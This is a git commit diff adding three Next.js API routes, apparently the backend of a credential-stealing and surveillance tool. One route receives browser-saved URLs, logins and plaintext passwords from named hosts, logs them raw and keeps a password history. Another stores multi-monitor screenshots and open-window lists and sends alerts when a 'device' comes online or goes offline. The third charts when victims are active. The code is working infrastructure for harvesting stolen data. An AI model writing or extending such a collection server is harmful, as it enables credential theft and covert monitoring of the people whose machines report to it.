first commit
This commit is contained in:
@@ -0,0 +1,168 @@
|
||||
import { NextRequest, NextResponse } from 'next/server'
|
||||
import { prisma } from '@/lib/prisma'
|
||||
import { withCors } from '@/lib/middleware'
|
||||
|
||||
async function handleCredentialsPost(req: NextRequest) {
|
||||
try {
|
||||
const pathSegments = req.nextUrl.pathname.split('/')
|
||||
const hostnameIndex = pathSegments.indexOf('hosts') + 1
|
||||
const hostname = pathSegments[hostnameIndex]
|
||||
|
||||
if (!hostname) {
|
||||
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
|
||||
}
|
||||
|
||||
const credentialsData = await req.json()
|
||||
console.log(JSON.stringify(credentialsData))
|
||||
const currentTime = new Date()
|
||||
|
||||
if (!Array.isArray(credentialsData) || credentialsData.length < 1) {
|
||||
return NextResponse.json({ error: '无效的凭据数据格式' }, { status: 400 })
|
||||
}
|
||||
|
||||
// Extract username from the first element
|
||||
const [userKey, username] = credentialsData[0]
|
||||
if (userKey !== 'User' || !username) {
|
||||
return NextResponse.json({ error: '无效的用户信息' }, { status: 400 })
|
||||
}
|
||||
|
||||
// Process browser credentials
|
||||
const savedCredentials = []
|
||||
|
||||
for (let i = 1; i < credentialsData.length; i++) {
|
||||
const browserData = credentialsData[i]
|
||||
|
||||
if (!Array.isArray(browserData) || browserData.length < 3) {
|
||||
continue
|
||||
}
|
||||
|
||||
const [enabled, browserName, browserCredentials] = browserData
|
||||
|
||||
if (!enabled || !browserName || !Array.isArray(browserCredentials)) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Process each credential for this browser
|
||||
for (const cred of browserCredentials) {
|
||||
const { URL, Login, Password } = cred
|
||||
|
||||
if (!URL || !Login || !Password) {
|
||||
continue
|
||||
}
|
||||
|
||||
// Try to find existing credential
|
||||
const existingCredential = await prisma.credential.findUnique({
|
||||
where: {
|
||||
hostname_username_browser_url_login: {
|
||||
hostname,
|
||||
username,
|
||||
browser: browserName,
|
||||
url: URL,
|
||||
login: Login
|
||||
}
|
||||
},
|
||||
include: {
|
||||
passwords: {
|
||||
orderBy: { timestamp: 'desc' }
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if (existingCredential) {
|
||||
// Check if password is different from the latest one
|
||||
const latestPassword = existingCredential.passwords[0]
|
||||
|
||||
// Update sync time
|
||||
await prisma.credential.update({
|
||||
where: { id: existingCredential.id },
|
||||
data: { lastSyncTime: currentTime }
|
||||
})
|
||||
|
||||
if (!latestPassword || latestPassword.value !== Password) {
|
||||
// Add new password to history
|
||||
await prisma.password.create({
|
||||
data: {
|
||||
credentialId: existingCredential.id,
|
||||
value: Password,
|
||||
timestamp: new Date()
|
||||
}
|
||||
})
|
||||
|
||||
savedCredentials.push(existingCredential)
|
||||
}
|
||||
} else {
|
||||
// Ensure host exists first
|
||||
await prisma.host.upsert({
|
||||
where: { hostname },
|
||||
update: {},
|
||||
create: { hostname }
|
||||
})
|
||||
|
||||
// Create new credential
|
||||
const newCredential = await prisma.credential.create({
|
||||
data: {
|
||||
hostname,
|
||||
username,
|
||||
browser: browserName,
|
||||
url: URL,
|
||||
login: Login,
|
||||
lastSyncTime: currentTime,
|
||||
passwords: {
|
||||
create: {
|
||||
value: Password,
|
||||
timestamp: new Date()
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
savedCredentials.push(newCredential)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return NextResponse.json({
|
||||
message: '凭据保存成功',
|
||||
count: savedCredentials.length
|
||||
})
|
||||
|
||||
} catch (error) {
|
||||
console.error('保存凭据失败:', error)
|
||||
return NextResponse.json({ error: '保存凭据失败' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
|
||||
async function handleCredentialsGet(req: NextRequest) {
|
||||
try {
|
||||
const pathSegments = req.nextUrl.pathname.split('/')
|
||||
const hostnameIndex = pathSegments.indexOf('hosts') + 1
|
||||
const hostname = pathSegments[hostnameIndex]
|
||||
|
||||
if (!hostname) {
|
||||
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
|
||||
}
|
||||
|
||||
const credentials = await prisma.credential.findMany({
|
||||
where: { hostname },
|
||||
include: {
|
||||
passwords: {
|
||||
orderBy: { timestamp: 'desc' }
|
||||
}
|
||||
},
|
||||
orderBy: [
|
||||
{ username: 'asc' },
|
||||
{ browser: 'asc' },
|
||||
{ url: 'asc' }
|
||||
]
|
||||
})
|
||||
|
||||
return NextResponse.json(credentials)
|
||||
|
||||
} catch (error) {
|
||||
console.error('获取凭据失败:', error)
|
||||
return NextResponse.json({ error: '获取凭据失败' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
|
||||
export const POST = withCors(handleCredentialsPost)
|
||||
export const GET = withCors(handleCredentialsGet)
|
||||
@@ -0,0 +1,201 @@
|
||||
import { NextRequest, NextResponse } from 'next/server'
|
||||
import { prisma } from '@/lib/prisma'
|
||||
import { storeFile } from '@/lib/fileStorage'
|
||||
import { push } from '@/lib/push'
|
||||
import { withCors } from '@/lib/middleware'
|
||||
|
||||
interface WindowInfo {
|
||||
title: string
|
||||
path: string
|
||||
memory: number
|
||||
}
|
||||
|
||||
const timeoutMap = new Map<string, NodeJS.Timeout>()
|
||||
|
||||
async function handleScreenshotUpload(req: NextRequest) {
|
||||
try {
|
||||
const pathSegments = req.nextUrl.pathname.split('/')
|
||||
const hostnameIndex = pathSegments.indexOf('hosts') + 1
|
||||
const hostname = pathSegments[hostnameIndex]
|
||||
|
||||
if (!hostname) {
|
||||
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
|
||||
}
|
||||
|
||||
const formData = await req.formData()
|
||||
const files: File[] = []
|
||||
const windowsInfo: WindowInfo[] = JSON.parse(formData.get('windows_info') as string || '[]')
|
||||
|
||||
// Extract files from formData
|
||||
for (const [key, value] of formData.entries()) {
|
||||
if (key.startsWith('screenshot_') && value instanceof File) {
|
||||
files.push(value)
|
||||
}
|
||||
}
|
||||
|
||||
if (files.length === 0) {
|
||||
return NextResponse.json({ error: '没有收到文件' }, { status: 400 })
|
||||
}
|
||||
|
||||
// Process screenshots
|
||||
const screenshots = await Promise.all(files.map(async (file, index) => {
|
||||
const ext = file.name ? file.name.split('.').pop() : 'webp'
|
||||
const filename = `${hostname}-${Date.now()}-${Math.round(Math.random() * 1E9)}.${ext}`
|
||||
|
||||
const buffer = Buffer.from(await file.arrayBuffer())
|
||||
const storedFile = await storeFile(buffer, filename, file.type, 'screenshot', hostname)
|
||||
|
||||
return {
|
||||
fileId: storedFile.id,
|
||||
objectName: storedFile.objectName,
|
||||
filename: storedFile.filename,
|
||||
contentType: storedFile.contentType,
|
||||
fileSize: storedFile.size,
|
||||
monitorName: formData.get(`monitor_name_${index}`) as string || `Monitor ${index + 1}`
|
||||
}
|
||||
}))
|
||||
|
||||
// Ensure host exists first
|
||||
await prisma.host.upsert({
|
||||
where: { hostname },
|
||||
update: {},
|
||||
create: { hostname }
|
||||
})
|
||||
|
||||
// Create new record
|
||||
const newRecord = await prisma.record.create({
|
||||
data: {
|
||||
hostname,
|
||||
timestamp: new Date(),
|
||||
windows: {
|
||||
create: windowsInfo
|
||||
},
|
||||
screenshots: {
|
||||
create: screenshots
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
// Handle host status and notifications
|
||||
const host = await prisma.host.findUnique({
|
||||
where: { hostname },
|
||||
select: { lastUpdate: true }
|
||||
})
|
||||
|
||||
const lastUpdate = host?.lastUpdate || new Date(0)
|
||||
|
||||
if (lastUpdate.getTime() === new Date(0).getTime()) {
|
||||
push(`新设备 ${hostname} 上线`)
|
||||
} else if (lastUpdate.getTime() < new Date().getTime() - 1000 * 60) {
|
||||
push(`设备 ${hostname} 上线`)
|
||||
}
|
||||
|
||||
// Clear existing timeout and set new one
|
||||
if (timeoutMap.has(hostname)) {
|
||||
clearTimeout(timeoutMap.get(hostname)!)
|
||||
}
|
||||
timeoutMap.set(hostname, setTimeout(() => {
|
||||
push(`设备 ${hostname} 离线`)
|
||||
timeoutMap.delete(hostname)
|
||||
}, 1000 * 60))
|
||||
|
||||
// Update host last update time
|
||||
await prisma.host.upsert({
|
||||
where: { hostname },
|
||||
update: { lastUpdate: new Date() },
|
||||
create: { hostname, lastUpdate: new Date() }
|
||||
})
|
||||
|
||||
return NextResponse.json({
|
||||
message: '上传成功',
|
||||
hostname,
|
||||
filesCount: files.length,
|
||||
windowsCount: windowsInfo.length
|
||||
})
|
||||
|
||||
} catch (error) {
|
||||
console.error('上传失败:', error)
|
||||
return NextResponse.json({ error: '上传失败' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
|
||||
async function handleGetScreenshots(req: NextRequest) {
|
||||
try {
|
||||
const pathSegments = req.nextUrl.pathname.split('/')
|
||||
const hostnameIndex = pathSegments.indexOf('hosts') + 1
|
||||
const hostname = pathSegments[hostnameIndex]
|
||||
|
||||
if (!hostname) {
|
||||
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
|
||||
}
|
||||
|
||||
const { searchParams } = req.nextUrl
|
||||
const startTimeParam = searchParams.get('startTime')
|
||||
const endTimeParam = searchParams.get('endTime')
|
||||
|
||||
let startTime: Date | undefined
|
||||
let endTime: Date | undefined
|
||||
|
||||
if (startTimeParam) {
|
||||
const timestamp = isNaN(Number(startTimeParam)) ?
|
||||
new Date(startTimeParam) :
|
||||
new Date(Number(startTimeParam) * 1000)
|
||||
startTime = timestamp
|
||||
}
|
||||
|
||||
if (endTimeParam) {
|
||||
const timestamp = isNaN(Number(endTimeParam)) ?
|
||||
new Date(endTimeParam) :
|
||||
new Date(Number(endTimeParam) * 1000)
|
||||
endTime = timestamp
|
||||
}
|
||||
|
||||
// Build query conditions
|
||||
const whereClause: any = { hostname }
|
||||
|
||||
if (startTime || endTime) {
|
||||
whereClause.timestamp = {}
|
||||
if (startTime) whereClause.timestamp.gte = startTime
|
||||
if (endTime) whereClause.timestamp.lte = endTime
|
||||
}
|
||||
|
||||
// Get records
|
||||
const records = await prisma.record.findMany({
|
||||
where: whereClause,
|
||||
include: {
|
||||
windows: true,
|
||||
screenshots: true
|
||||
},
|
||||
orderBy: {
|
||||
timestamp: 'desc'
|
||||
}
|
||||
})
|
||||
|
||||
// Get host info
|
||||
const host = await prisma.host.findUnique({
|
||||
where: { hostname },
|
||||
select: {
|
||||
hostname: true,
|
||||
lastUpdate: true
|
||||
}
|
||||
})
|
||||
|
||||
if (!host) {
|
||||
return NextResponse.json({ error: '未找到主机记录' }, { status: 404 })
|
||||
}
|
||||
|
||||
return NextResponse.json({
|
||||
hostname,
|
||||
lastUpdate: host.lastUpdate,
|
||||
records,
|
||||
total: records.length
|
||||
})
|
||||
|
||||
} catch (error) {
|
||||
console.error('获取记录失败:', error)
|
||||
return NextResponse.json({ error: '获取记录失败' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
|
||||
export const POST = withCors(handleScreenshotUpload)
|
||||
export const GET = withCors(handleGetScreenshots)
|
||||
@@ -0,0 +1,70 @@
|
||||
import { NextRequest, NextResponse } from 'next/server'
|
||||
import { prisma } from '@/lib/prisma'
|
||||
import { withCors } from '@/lib/middleware'
|
||||
|
||||
async function handleTimeDistribution(req: NextRequest) {
|
||||
try {
|
||||
const pathSegments = req.nextUrl.pathname.split('/')
|
||||
const hostnameIndex = pathSegments.indexOf('hosts') + 1
|
||||
const hostname = pathSegments[hostnameIndex]
|
||||
|
||||
if (!hostname) {
|
||||
return NextResponse.json({ error: '缺少主机名' }, { status: 400 })
|
||||
}
|
||||
|
||||
// Get all records for the hostname and group by hour
|
||||
const records = await prisma.record.findMany({
|
||||
where: { hostname },
|
||||
select: {
|
||||
timestamp: true
|
||||
}
|
||||
})
|
||||
|
||||
// Group by hour
|
||||
interface DistributionEntry {
|
||||
timestamp: number
|
||||
count: number
|
||||
}
|
||||
|
||||
const distribution = records.reduce((acc: DistributionEntry[], record: { timestamp: Date }) => {
|
||||
const timestamp = new Date(record.timestamp)
|
||||
// Create hour-level timestamp (set minutes, seconds, ms to 0)
|
||||
const hourTimestamp = new Date(
|
||||
timestamp.getFullYear(),
|
||||
timestamp.getMonth(),
|
||||
timestamp.getDate(),
|
||||
timestamp.getHours(),
|
||||
0, 0, 0
|
||||
)
|
||||
|
||||
const existingEntry = acc.find(entry =>
|
||||
entry.timestamp === Math.floor(hourTimestamp.getTime() / 1000)
|
||||
)
|
||||
|
||||
if (existingEntry) {
|
||||
existingEntry.count++
|
||||
} else {
|
||||
acc.push({
|
||||
timestamp: Math.floor(hourTimestamp.getTime() / 1000),
|
||||
count: 1
|
||||
})
|
||||
}
|
||||
|
||||
return acc
|
||||
}, [])
|
||||
|
||||
// Sort by timestamp
|
||||
distribution.sort((a: DistributionEntry, b: DistributionEntry) => a.timestamp - b.timestamp)
|
||||
|
||||
return NextResponse.json({
|
||||
hostname,
|
||||
distribution
|
||||
})
|
||||
|
||||
} catch (error) {
|
||||
console.error('获取时间分布统计失败:', error)
|
||||
return NextResponse.json({ error: '获取时间分布统计失败' }, { status: 500 })
|
||||
}
|
||||
}
|
||||
|
||||
export const GET = withCors(handleTimeDistribution)
|
||||
Reference in New Issue
Block a user